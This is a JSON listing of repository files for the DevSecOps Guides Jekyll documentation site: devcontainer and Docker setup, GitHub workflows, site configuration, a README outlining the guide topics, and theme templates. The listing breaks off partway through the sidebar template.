[
  {
    "path": ".devcontainer/Dockerfile",
    "content": "# [Choice] Debian OS version (use bullseye on local arm64/Apple Silicon): bullseye, buster\nARG VARIANT=bullseye\nFROM mcr.microsoft.com/vscode/devcontainers/jekyll:0-${VARIANT}\n\n# [Choice] Node.js version: none, lts/*, 16, 14, 12, 10\nARG NODE_VERSION=\"none\"\nRUN if [ \"${NODE_VERSION}\" != \"none\" ]; then su vscode -c \"umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1\"; fi\n\n# [Optional] Uncomment this section to install additional OS packages.\n# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \\\n#     && apt-get -y install --no-install-recommends <your-package-list-here>\n\n# [Optional] Uncomment this line to install global node packages.\n# RUN su vscode -c \"source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>\" 2>&1"
  },
  {
    "path": ".devcontainer/base.Dockerfile",
    "content": "# [Choice] Debian OS version (use 2.7-bullseye on local arm64/Apple Silicon): 2.7-bullseye, 2.7-buster\nARG VARIANT=2.7-bullseye\nFROM mcr.microsoft.com/vscode/devcontainers/ruby:${VARIANT}\nCOPY library-scripts/meta.env /usr/local/etc/vscode-dev-containers\n\n# ENV Variables required by Jekyll\nENV LANG=en_US.UTF-8 \\\n    LANGUAGE=en_US:en \\\n    TZ=Etc/UTC \\\n    LC_ALL=en_US.UTF-8 \\\n    LANG=en_US.UTF-8 \\\n    LANGUAGE=en_US\n\n# Install bundler, latest jekyll, and github-pages for older jekyll\nRUN gem install bundler jekyll github-pages\n\n# [Choice] Node.js version: none, lts/*, 16, 14, 12, 10\nARG NODE_VERSION=\"none\"\nRUN if [ \"${NODE_VERSION}\" != \"none\" ]; then su vscode -c \"umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1\"; fi\n\n# [Optional] Uncomment this section to install additional OS packages.\n# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \\\n#     && apt-get -y install --no-install-recommends <your-package-list-here>\n\n# [Optional] Uncomment this line to install global node packages.\n# RUN su vscode -c \"source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>\" 2>&1\n"
  },
  {
    "path": ".devcontainer/devcontainer.json",
    "content": "// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:\n// https://github.com/microsoft/vscode-dev-containers/tree/v0.224.2/containers/jekyll\n{\n  \"name\": \"DevSecOps Guides\",\n  \"build\": {\n    \"dockerfile\": \"Dockerfile\",\n    \"args\": {\n      // Update 'VARIANT' to pick a Debian OS version: bullseye, buster\n      // Use bullseye when on local arm64/Apple Silicon.\n      \"VARIANT\": \"bullseye\",\n      // Enable Node.js: pick the latest LTS version\n      \"NODE_VERSION\": \"lts/*\"\n    }\n  },\n\n  // Set *default* container specific settings.json values on container create.\n  \"settings\": {},\n\n  // Add the IDs of extensions you want installed when the container is created.\n  \"extensions\": [\"GitHub.vscode-pull-request-github\"],\n\n  // Use 'forwardPorts' to make a list of ports inside the container available locally.\n  \"forwardPorts\": [\n    // Jekyll server\n    4000,\n    // Live reload server\n    35729\n  ],\n\n  // Use 'postCreateCommand' to run commands after the container is created.\n  \"postCreateCommand\": \"sh .devcontainer/post-create.sh\",\n\n  // Comment out to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.\n  \"remoteUser\": \"vscode\"\n}\n"
  },
  {
    "path": ".devcontainer/post-create.sh",
    "content": "#!/bin/sh\n\n# Install the version of Bundler.\nif [ -f Gemfile.lock ] && grep \"BUNDLED WITH\" Gemfile.lock > /dev/null; then\n    cat Gemfile.lock | tail -n 2 | grep -C2 \"BUNDLED WITH\" | tail -n 1 | xargs gem install bundler -v\nfi\n\n# If there's a Gemfile, then run `bundle install`\n# It's assumed that the Gemfile will install Jekyll too\nif [ -f Gemfile ]; then\n    bundle install\nfi\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Desktop (please complete the following information):**\n - OS: [e.g. iOS]\n - Browser [e.g. chrome, safari]\n - Version [e.g. 22]\n\n**Smartphone (please complete the following information):**\n - Device: [e.g. iPhone6]\n - OS: [e.g. iOS8.1]\n - Browser [e.g. stock browser, safari]\n - Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: Ask a question\n    url: https://github.com/just-the-docs/just-the-docs/discussions\n    about: Ask questions and discuss with other community members\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n- package-ecosystem: npm\n  directory: \"/\"\n  schedule:\n    interval: daily\n    time: \"10:00\"\n  open-pull-requests-limit: 10\n- package-ecosystem: bundler\n  directory: \"/\"\n  schedule:\n    interval: daily\n    time: \"10:00\"\n  open-pull-requests-limit: 10\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "on:\n  push:\n    branches:\n      - main\n  pull_request:\n    branches:\n      - main\n\nname: CI\n\njobs:\n  jekyll-build:\n    name: Build (jekyll gem)\n    strategy:\n      fail-fast: false\n      matrix:\n        jekyll-version: [3.9, 4.3]\n        os: [ ubuntu-latest, macos-latest, windows-latest ]\n        ruby-version: [2.7, 3.1]\n    runs-on: ${{ matrix.os }}\n    steps:\n    - uses: actions/checkout@v3\n    - name: Setup Ruby ${{ matrix.ruby-version }}\n      uses: ruby/setup-ruby@v1\n      with:\n        ruby-version: ${{ matrix.ruby-version }}\n        bundler-cache: false\n    - name: Bundle Install\n      run: bundle install\n    - name: Install Jekyll ${{ matrix.jekyll-version }}\n      run: gem install jekyll -v ${{ matrix.jekyll-version }}\n    - name: Init Search\n      run: bundle exec rake search:init\n    - name: Build Site\n      run: bundle exec jekyll build\n\n  github-pages-build:\n    name: Build (github-pages gem)\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n    - name: Setup Ruby\n      uses: ruby/setup-ruby@v1\n      with:\n        ruby-version: '3.1'\n        bundler-cache: false\n    - name: Bundle Install\n      run: BUNDLE_GEMFILE=fixtures/Gemfile-github-pages bundle install\n    - name: Build Site\n      run: BUNDLE_GEMFILE=fixtures/Gemfile-github-pages bundle exec jekyll build\n\n  assets:\n    name: Test CSS and JS\n    runs-on: ubuntu-latest\n\n    strategy:\n      matrix:\n        node-version: [18.x]\n\n    steps:\n    - uses: actions/checkout@v3\n    - name: Use Node.js ${{ matrix.node-version }}\n      uses: actions/setup-node@v1\n      with:\n        node-version: ${{ matrix.node-version }}\n    - run: npm install\n    - run: npm test\n"
  },
  {
    "path": ".github/workflows/deploy.yml",
    "content": "# This workflow uses actions that are not certified by GitHub.\n# They are provided by a third-party and are governed by\n# separate terms of service, privacy policy, and support\n# documentation.\n\n# Sample workflow for building and deploying a Jekyll site to GitHub Pages\nname: Deploy Jekyll site to Pages\n\non:\n  push:\n    branches: [\"main\"]\n\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\n# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages\npermissions:\n  contents: read\n  pages: write\n  id-token: write\n\n# Allow one concurrent deployment\nconcurrency:\n  group: \"pages\"\n  cancel-in-progress: true\n\njobs:\n  # Build job\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n      - name: Setup Ruby\n        uses: ruby/setup-ruby@v1\n        with:\n          ruby-version: '3.1' # Not needed with a .ruby-version file\n          bundler-cache: true # runs 'bundle install' and caches installed gems automatically\n          cache-version: 0 # Increment this number if you need to re-download cached gems\n      - name: Setup Pages\n        id: pages\n        uses: actions/configure-pages@v2\n      - name: Build with Jekyll\n        # Outputs to the './_site' directory by default\n        run: bundle exec jekyll build --baseurl \"${{ steps.pages.outputs.base_path }}\"\n        env:\n          JEKYLL_ENV: production\n      - name: Upload artifact\n        # Automatically uploads an artifact from the './_site' directory by default\n        uses: actions/upload-pages-artifact@v1\n\n  # Deployment job\n  deploy:\n    environment:\n      name: github-pages\n      url: ${{ steps.deployment.outputs.page_url }}\n    runs-on: ubuntu-latest\n    needs: build\n    steps:\n      - name: Deploy to GitHub Pages\n        id: deployment\n        uses: actions/deploy-pages@v1\n"
  },
  {
    "path": ".github/workflows/publish-gem.yml",
    "content": "name: Publish Ruby Gem\n\non:\n  workflow_dispatch\n\njobs:\n  build:\n    name: Publish\n    runs-on: ubuntu-latest\n\n    steps:\n    - uses: actions/checkout@v3\n    - name: Set up Ruby 3.1\n      uses: actions/setup-ruby@v1\n      with:\n        ruby-version: 3.1\n\n    - name: Publish to GPR\n      run: |\n        mkdir -p $HOME/.gem\n        touch $HOME/.gem/credentials\n        chmod 0600 $HOME/.gem/credentials\n        printf -- \"---\\n:github: ${GEM_HOST_API_KEY}\\n\" > $HOME/.gem/credentials\n        gem build *.gemspec\n        gem push --KEY github --host https://rubygems.pkg.github.com/${OWNER} *.gem\n      env:\n        GEM_HOST_API_KEY: \"Bearer ${{secrets.GITHUB_TOKEN}}\"\n        OWNER: ${{ github.repository_owner }}\n\n    # Disabled as this does not handle 2FA\n    # - name: Publish to RubyGems\n    #   run: |\n    #     mkdir -p $HOME/.gem\n    #     touch $HOME/.gem/credentials\n    #     chmod 0600 $HOME/.gem/credentials\n    #     printf -- \"---\\n:rubygems_api_key: ${GEM_HOST_API_KEY}\\n\" > $HOME/.gem/credentials\n    #     gem build *.gemspec\n    #     gem push *.gem\n    #   env:\n    #     GEM_HOST_API_KEY: \"${{secrets.RUBYGEMS_AUTH_TOKEN}}\"\n"
  },
  {
    "path": ".github/workflows/update_jekyll-anchor-heading.yml",
    "content": "name: Update Vendor plugin - jekyll-anchor-headings\non:\n  # schedule:\n  #   # once per week\n  #   - cron: \"0 15 * * 0\"\n  workflow_dispatch:\njobs:\n  update-deps:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v2\n\n      - name: Get latest release information\n        id: latest-release\n        uses: pozetroninc/github-action-get-latest-release@master\n        with:\n          owner: allejo\n          repo: jekyll-anchor-headings\n          excludes: prerelease, draft\n\n      - name: Update jekyll-anchor-headings\n        id: update\n        uses: suisei-cn/actions-download-file@v1.3.0\n        with:\n          url: \"https://github.com/allejo/jekyll-anchor-headings/releases/download/${{ steps.latest-release.outputs.release }}/anchor_headings.html\"\n          target: _includes/vendor/\n\n      - name: Create PR\n        uses: peter-evans/create-pull-request@v4\n        with:\n          commit-message: \"chore[dependency]: Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}`\"\n          title: \"auto: Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}`\"\n          body: |\n            Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}`\n            This is an automated pull request.\n          branch: update/vendor/jekyll-anchor-headings\n          delete-branch: true\n          labels: |\n            kind/update\n            area/dependency\n          add-paths: |\n            _includes/vendor/anchor_headings.html\n          token: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".gitignore",
    "content": "*.gem\n.bundle\n.ruby-version\n.jekyll-cache\n.sass-cache\n_site\nGemfile.lock\nnode_modules\n.DS_Store\n"
  },
  {
    "path": ".prettierignore",
    "content": "package-lock.json\n_site\nassets/css/just-the-docs-default.scss\nassets/css/just-the-docs-light.scss\nassets/css/just-the-docs-dark.scss\nassets/js/vendor/lunr.min.js\nassets/js/search-data.json\nassets/js/zzzz-search-data.json\nassets/js/just-the-docs.js\n*.md\n_includes/mermaid_config.js\n"
  },
  {
    "path": ".vscode/tasks.json",
    "content": "{\n  // See https://go.microsoft.com/fwlink/?LinkId=733558\n  // for the documentation about the tasks.json format\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Serve\",\n      \"type\": \"shell\",\n      \"command\": \"bundle exec jekyll serve --livereload\",\n      \"group\": {\n        \"kind\": \"test\",\n        \"isDefault\": true\n      },\n      \"isBackground\": true\n    },\n    {\n      \"label\": \"Build\",\n      \"type\": \"shell\",\n      \"command\": \"bundle exec jekyll build\",\n      \"group\": {\n        \"kind\": \"build\",\n        \"isDefault\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "404.html",
    "content": "---\nlayout: default\ntitle: 404\npermalink: /404\nnav_exclude: true\nsearch_exclude: true\n---\n\n<h1>Page not found</h1>\n\n<p>The page you requested could not be found. Try using the navigation {% if site.search_enabled != false %}or search {% endif %}to find what you're looking for or go to this <a href=\"{{ '/' | relative_url }}\">site's home page</a>.</p>\n"
  },
  {
    "path": "CNAME",
    "content": "wiki.devsecopsguides.com\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM ruby:2.7\n\nENV LC_ALL C.UTF-8\nENV LANG en_US.UTF-8\nENV LANGUAGE en_US.UTF-8\n\nWORKDIR /usr/src/app\n\nCOPY Gemfile just-the-docs.gemspec ./\nRUN gem install bundler && bundle install\n\nEXPOSE 4000\n"
  },
  {
    "path": "Gemfile",
    "content": "source \"https://rubygems.org\"\ngemspec\n\ngem \"jekyll-github-metadata\", \">= 2.15\"\n\ngem \"webrick\", \"~> 1.7\"\n"
  },
  {
    "path": "README.md",
    "content": "\n<p align=\"center\">\n    <h1 align=\"center\">DevSecOps Guides</h1>\n    <p align=\"center\">Comprehensive resource for integrating security into the software development lifecycle.</p>\n    <br><br><br>\n</p>\n\n\n## About\n\n\nWelcome to DevSecOpsGuides, a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications.\n\nOur guides cover a wide range of topics related to DevSecOps, including:\n\n1. Secure coding practices: Learn how to write code that is resistant to common security threats such as SQL injection, cross-site scripting, and buffer overflow.\n\n2. Threat modeling: Learn how to identify potential security vulnerabilities in your applications and prioritize them based on their impact and likelihood of occurrence.\n\n3. Security testing: Learn about different types of security testing, such as penetration testing, vulnerability scanning, and code review, and how to incorporate them into your DevSecOps workflow.\n\n4. Infrastructure security: Learn about securing the infrastructure that supports your applications, including servers, networks, and databases.\n\n5. Compliance and regulations: Learn about compliance requirements and regulations such as GDPR, HIPAA, and PCI-DSS, and how to ensure that your applications meet these standards.\n\n6. Incident response: Learn how to respond to security incidents quickly and effectively, minimizing the impact on your organization and customers.\n\nOur guides are written by experts in the field of DevSecOps, and are designed to be accessible to developers, security professionals, and operations teams at all levels of experience. Whether you are just getting started with DevSecOps or are looking to deepen your knowledge and skills, DevSecOpsGuides is the perfect resource for you.\n\n\n"
  },
  {
    "path": "Rakefile",
    "content": "Dir.glob('lib/tasks/*.rake').each {|r| import r}\n"
  },
  {
    "path": "_config.yml",
    "content": "# Welcome to Jekyll!\n#\n# This config file is meant for settings that affect your whole site, values\n# which you are expected to set up once and rarely edit after that. If you find\n# yourself editing these this file very often, consider using Jekyll's data files\n# feature for the data you need to update frequently.\n#\n# For technical reasons, this file is *NOT* reloaded automatically when you use\n# 'jekyll serve'. If you change this file, please restart the server process.\n\n# Site settings\n# These are used to personalize your new site. If you look in the HTML files,\n# you will see them accessed via {{ site.title }}, {{ site.github_repo }}, and so on.\n# You can create any custom variable you would like, and they will be accessible\n# in the templates via {{ site.myvariable }}.\ntitle: DevSecOps Guides\ndescription: Guides for DevSecOps\nbaseurl: \"/\" # the subpath of your site, e.g. /blog\nurl: \"https://devsecopsguides.github.io\" # the base hostname & protocol for your site, e.g. http://example.com\nrepository: devsecopsguides/devsecopsguides.github.io # for github-metadata\n\npermalink: pretty\n\nexclude:\n # from https://github.com/jekyll/jekyll/blob/master/lib/site_template/_config.yml:\n   - .sass-cache/\n   - .jekyll-cache/\n   - gemfiles/\n   - Gemfile\n   - Gemfile.lock\n   - node_modules/\n   - vendor/bundle/\n   - vendor/cache/\n   - vendor/gems/\n   - vendor/ruby/\n # specific to the theme website:\n   - bin/\n   - lib/\n   - \"*.gemspec\"\n   - \"*.gem\"\n   - LICENSE.txt\n   - package.json\n   - package-lock.json\n   - Rakefile\n   - README.md\n   - CODE_OF_CONDUCT.md\n   - docker-compose.yml\n   - Dockerfile\n # theme test code\n   - fixtures/\n\n# Set a path/url to a logo that will be displayed instead of the title\n#logo: \"/assets/images/just-the-docs.png\"\n\n# Enable or disable the site search\n# Supports true (default) or false\nsearch_enabled: true\nsearch:\n  # Split pages into sections that can be searched individually\n  # Supports 1 - 6, default: 2\n  heading_level: 2\n  # Maximum amount of previews per search result\n  # Default: 3\n  previews: 2\n  # Maximum amount of words to display before a matched word in the preview\n  # Default: 5\n  preview_words_before: 3\n  # Maximum amount of words to display after a matched word in the preview\n  # Default: 10\n  preview_words_after: 3\n  # Set the search token separator\n  # Default: /[\\s\\-/]+/\n  # Example: enable support for hyphenated search words\n  tokenizer_separator: /[\\s/]+/\n  # Display the relative url in search results\n  # Supports true (default) or false\n  rel_url: true\n  # Enable or disable the search button that appears in the bottom right corner of every page\n  # Supports true or false (default)\n  button: false\n\n# For copy button on code\nenable_copy_code_button: true\n\n# By default, consuming the theme as a gem leaves mermaid disabled; it is opt-in\nmermaid:\n  # Version of mermaid library\n  # Pick an available version from https://cdn.jsdelivr.net/npm/mermaid/\n  version: \"9.1.6\"\n  # Put any additional configuration, such as setting the theme, in _includes/mermaid_config.js\n  # See also docs/ui-components/code\n  # To load mermaid from a local library, also use the `path` key to specify the location of the library; e.g.\n  # for (v10+):\n  # path: \"/assets/js/mermaid.esm.min.mjs\"\n  # for (<v10):\n  # path: \"/assets/js/mermaid.min.js\"\n  # Note: copy both `mermaid.esm.min.mjs` (v10+) or `mermaid.min.js` (<v10) and the associated `.map` file from the specified version of `mermaid/dist` to `/assets/js/`.\n\n# Enable or disable heading anchors\nheading_anchors: true\n\n# Aux links for the upper right navigation\naux_links:\n  \"DevSecOps Guides on GitHub\":\n    - \"//github.com/devsecopsguides/devsecopsguides.github.io\"\n\n# Makes Aux links open in a new tab. Default is false\naux_links_new_tab: false\n\n# Sort order for navigation links\n# nav_sort: case_insensitive # default, equivalent to nil\nnav_sort: case_sensitive # Capital letters sorted before lowercase\n\n# External navigation links\nnav_external_links:\n  - title: DevSecOpsGuides on GitHub\n    url: https://github.com/devsecopsguides/devsecopsguides.github.io\n\n# Footer content\n# appears at the bottom of every page's main content\n\n# Back to top link\nback_to_top: true\nback_to_top_text: \"Back to top\"\n\nfooter_content: \"Copyright &copy; 2019-2025.\"\n\n# Footer last edited timestamp\nlast_edit_timestamp: true # show or hide edit time - page must have `last_modified_date` defined in the frontmatter\nlast_edit_time_format: \"%b %e %Y at %I:%M %p\" # uses ruby's time format: https://ruby-doc.org/stdlib-2.7.0/libdoc/time/rdoc/Time.html\n\n\n\n# Footer \"Edit this page on GitHub\" link text\ngh_edit_link: true # show or hide edit this page link\ngh_edit_link_text: \"Edit this page on GitHub\"\ngh_edit_repository: \"https://github.com/devsecopsguides/devsecopsguides.github.io\" # the github URL for your repo\ngh_edit_branch: \"main\" # the branch that your docs is served from\n# gh_edit_source: docs # the source that your files originate from\ngh_edit_view_mode: \"tree\" # \"tree\" or \"edit\" if you want the user to jump into the editor immediately\n\n# Color scheme currently only supports \"dark\", \"light\"/nil (default), or a custom scheme that you define\ncolor_scheme: light\n\ncallouts_level: quiet # or loud\ncallouts:\n  highlight:\n    color: yellow\n  important:\n    title: Important\n    color: blue\n  new:\n    title: New\n    color: green\n  note:\n    title: Note\n    color: purple\n  warning:\n    title: Warning\n    color: red\n\n# Google Analytics Tracking (optional)\n# Supports a CSV of tracking ID strings (eg. \"UA-1234567-89,G-1AB234CDE5\")\n# Note: the main DevSecOps Guides does *not* use Google Analytics.\nga_tracking: G-G6GT6NYHBM\n# ga_tracking_anonymize_ip: true # Use GDPR compliant Google Analytics settings (true/nil by default)\n\nplugins:\n  - jekyll-seo-tag\n  - jekyll-github-metadata\n\nkramdown:\n  syntax_highlighter_opts:\n    block:\n      line_numbers: false\n\ncompress_html:\n  clippings: all\n  comments: all\n  endings: all\n  startings: []\n  blanklines: false\n  profile: false\n  # ignore:\n  #   envs: all\n"
  },
  {
    "path": "_includes/components/aux_nav.html",
    "content": "<nav aria-label=\"Auxiliary\" class=\"aux-nav\">\n  <ul class=\"aux-nav-list\">\n    {% for link in site.aux_links %}\n      <li class=\"aux-nav-list-item\">\n        <a href=\"{{ link.last }}\" class=\"site-button\"\n          {% if site.aux_links_new_tab %}\n          target=\"_blank\" rel=\"noopener noreferrer\"\n          {% endif %}\n        >\n          {{ link.first }}\n        </a>\n      </li>\n    {% endfor %}\n  </ul>\n</nav>\n"
  },
  {
    "path": "_includes/components/breadcrumbs.html",
    "content": "{% unless page.url == \"/\" %}\n  {% if page.parent %}\n    <nav aria-label=\"Breadcrumb\" class=\"breadcrumb-nav\">\n      <ol class=\"breadcrumb-nav-list\">\n        {% if page.grand_parent %}\n          <li class=\"breadcrumb-nav-list-item\"><a href=\"{{ first_level_url }}\">{{ page.grand_parent }}</a></li>\n          <li class=\"breadcrumb-nav-list-item\"><a href=\"{{ second_level_url }}\">{{ page.parent }}</a></li>\n        {% else %}\n          <li class=\"breadcrumb-nav-list-item\"><a href=\"{{ first_level_url }}\">{{ page.parent }}</a></li>\n        {% endif %}\n        <li class=\"breadcrumb-nav-list-item\"><span>{{ page.title }}</span></li>\n      </ol>\n    </nav>\n  {% endif %}\n{% endunless %}\n"
  },
  {
    "path": "_includes/components/children_nav.html",
    "content": "<hr>\n{% include toc_heading_custom.html %}\n<ul>\n  {% for child in include.toc_list %}\n    <li>\n      <a href=\"{{ child.url | relative_url }}\">{{ child.title }}</a>{% if child.summary %} - {{ child.summary }}{% endif %}\n    </li>\n  {% endfor %}\n</ul>\n"
  },
  {
    "path": "_includes/components/footer.html",
    "content": "{% capture footer_custom %}\n  {%- include footer_custom.html -%}\n{% endcapture %}\n{% if footer_custom != \"\" or site.last_edit_timestamp or site.gh_edit_link %}\n  <hr>\n  <footer>\n    {% if site.back_to_top %}\n      <p><a href=\"#top\" id=\"back-to-top\">{{ site.back_to_top_text }}</a></p>\n    {% endif %}\n\n    {{ footer_custom }}\n\n    {% if site.last_edit_timestamp or site.gh_edit_link %}\n      <div class=\"d-flex mt-2\">\n        {% if site.last_edit_timestamp and site.last_edit_time_format and page.last_modified_date %}\n          <p class=\"text-small text-grey-dk-000 mb-0 mr-2\">\n            Page last modified: <span class=\"d-inline-block\">{{ page.last_modified_date | date: site.last_edit_time_format }}</span>.\n          </p>\n        {% endif %}\n        {% if\n          site.gh_edit_link and\n          site.gh_edit_link_text and\n          site.gh_edit_repository and\n          site.gh_edit_branch and\n          site.gh_edit_view_mode\n        %}\n          <p class=\"text-small text-grey-dk-000 mb-0\">\n            <a href=\"{{ site.gh_edit_repository }}/{{ site.gh_edit_view_mode }}/{{ site.gh_edit_branch }}{% if site.gh_edit_source %}/{{ site.gh_edit_source }}{% endif %}{% if page.collection and site.collections_dir %}/{{ site.collections_dir }}{% endif %}/{{ page.path }}\" id=\"edit-this-page\">{{ site.gh_edit_link_text }}</a>\n          </p>\n        {% endif %}\n      </div>\n    {% endif %}\n  </footer>\n{% endif %}\n"
  },
  {
    "path": "_includes/components/header.html",
    "content": "<div id=\"main-header\" class=\"main-header\">\n  {% if site.search_enabled != false %}\n    {% include components/search_header.html %}\n  {% else %}\n    <div></div>\n  {% endif %}\n  {% include header_custom.html %}\n  {% if site.aux_links %}\n    {% include components/aux_nav.html %}\n  {% endif %}\n</div>\n"
  },
  {
    "path": "_includes/components/mermaid.html",
    "content": "{% comment %}\nThe complexity of this file comes from a breaking change in Mermaid v10; mermaid.init has been deprecated (and supposedly, didn't work earlier?).\n\nSo, we check whether the user's Mermaid version is >= 10; if not, we fall back to the previous init syntax.\n\nIf a user is using a custom mermaid file and doesn't specify a version, we default to the < v10 behaviour. Users who use version v10 or above should specify this in the version key.\n{% endcomment %}\n\n{% if site.mermaid.version %}\n  {% assign mermaid_major_version = site.mermaid.version | split: \".\" | first | plus: 0 %}\n{% else %}\n  {% assign mermaid_major_version = 9 %}\n{% endif %}\n\n{% if mermaid_major_version > 9 %}\n\n<script type=\"module\">\n  {% if site.mermaid.path %}\n  import mermaid from '{{ site.mermaid.path | relative_url }}';\n  {% else %}\n  import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid@{{ site.mermaid.version }}/dist/mermaid.esm.min.mjs';\n  {% endif %}\n\n  var config = {% include mermaid_config.js %};\n  mermaid.initialize(config);\n  mermaid.run({\n    querySelector: '.language-mermaid',\n  });\n</script>\n\n{% else %}\n\n{% if site.mermaid.path %}\n  <script src=\"{{ site.mermaid.path | relative_url }}\"></script>\n{% else %}\n  <script src=\"https://cdn.jsdelivr.net/npm/mermaid@{{ site.mermaid.version }}/dist/mermaid.min.js\"></script>\n{% endif %}\n\n<script>\n  var config = {% include mermaid_config.js %};\n  mermaid.initialize(config);\n  window.mermaid.init(undefined, document.querySelectorAll('.language-mermaid'));\n</script>\n\n{% endif %}\n"
  },
  {
    "path": "_includes/components/search_footer.html",
    "content": "{% if site.search.button %}\n<a href=\"#\" id=\"search-button\" class=\"search-button\">\n  <svg viewBox=\"0 0 24 24\" class=\"icon\"><use xlink:href=\"#svg-search\"></use></svg>\n</a>\n{% endif %}\n\n<div class=\"search-overlay\"></div>\n"
  },
  {
    "path": "_includes/components/search_header.html",
    "content": "{% capture search_placeholder %}{% include search_placeholder_custom.html %}{% endcapture %}\n\n<div class=\"search\">\n  <div class=\"search-input-wrap\">\n    <input type=\"text\" id=\"search-input\" class=\"search-input\" tabindex=\"0\" placeholder=\"{{ search_placeholder | strip_html | strip }}\" aria-label=\"{{ search_placeholder | strip_html| strip }}\" autocomplete=\"off\">\n    <label for=\"search-input\" class=\"search-label\"><svg viewBox=\"0 0 24 24\" class=\"search-icon\"><use xlink:href=\"#svg-search\"></use></svg></label>\n  </div>\n  <div id=\"search-results\" class=\"search-results\"></div>\n</div>\n"
  },
  {
    "path": "_includes/components/sidebar.html",
    "content": "<div class=\"side-bar\">\n  <div class=\"site-header\">\n    <img style=\"width: 17%;\" src=\"/assets/images/devsecopsguides.png\"><a href=\"{{ '/' | relative_url }}\" class=\"site-title lh-tight\">{% include title.html %}</a>\n    <a href=\"#\" id=\"menu-button\" class=\"site-button\">\n      <svg viewBox=\"0 0 24 24\" class=\"icon\"><use xlink:href=\"#svg-menu\"></use></svg>\n    </a>\n  </div>\n  <nav aria-label=\"Main\" id=\"site-nav\" class=\"site-nav\">\n    {% assign pages_top_size = site.html_pages\n          | where_exp:\"item\", \"item.title != nil\"\n          | where_exp:\"item\", \"item.parent == nil\"\n          | where_exp:\"item\", \"item.nav_exclude != true\"\n          | size %}\n    {% if pages_top_size > 0 %}\n      {% include nav.html pages=site.html_pages key=nil %}\n    {% endif %}\n    {%- if site.nav_external_links -%}\n      <ul class=\"nav-list\">\n        {%- for node in site.nav_external_links -%}\n          <li class=\"nav-list-item external\">\n            <a href=\"{{ node.url | absolute_url }}\" class=\"nav-list-link external\">\n              {{ node.title }}\n              {% unless node.hide_icon %}<svg viewBox=\"0 0 24 24\" aria-labelledby=\"svg-external-link-title\"><use xlink:href=\"#svg-external-link\"></use></svg>{% endunless %}\n            </a>\n          </li>\n        {%- endfor -%}\n      </ul>\n    {%- endif -%}\n    {% if site.just_the_docs.collections %}\n      {% assign collections_size = site.just_the_docs.collections | size %}\n      {% for collection_entry in site.just_the_docs.collections %}\n        {% assign collection_key = collection_entry[0] %}\n        {% assign collection_value = collection_entry[1] %}\n        {% assign collection = site[collection_key] %}\n        {% if collection_value.nav_exclude != true %}\n          {% if collections_size > 1 or pages_top_size > 0 %}\n            {% if collection_value.nav_fold == true %}\n              <ul class=\"nav-list nav-category-list\">\n                <li class=\"nav-list-item{% if page.collection == collection_key %} active{% endif %}\">\n                  {%- if collection.size > 0 -%}\n                  <a href=\"#\" class=\"nav-list-expander\"><svg viewBox=\"0 0 24 24\"><use xlink:href=\"#svg-arrow-right\"></use></svg></a>\n                  {%- endif -%}\n                  <div class=\"nav-category\">{{ collection_value.name }}</div>\n                  {% include nav.html pages=collection key=collection_key %}\n                </li>\n              </ul>\n            {% else %}\n              <div class=\"nav-category\">{{ collection_value.name }}</div>\n              {% include nav.html pages=collection key=collection_key %}\n            {% endif %}\n          {% else %}\n            {% include nav.html pages=collection key=collection_key %}\n          {% endif %}\n        {% endif %}\n      {% endfor %}\n    {% endif %}\n    \n  </nav>\n\n  {% capture nav_footer_custom %}\n    {%- include nav_footer_custom.html -%}\n  {% endcapture %}\n  {% if nav_footer_custom != \"\" %}\n    {{ nav_footer_custom }}\n  {% else %}\n    <footer class=\"site-footer\">\n      <b>More</b><br>\n       <a href=\"https://blog.devsecopsguides.com/\">Blog</a><br>\n       <a href=\"https://rules.devsecopsguides.com/\">Rules</a><br>\n       <a 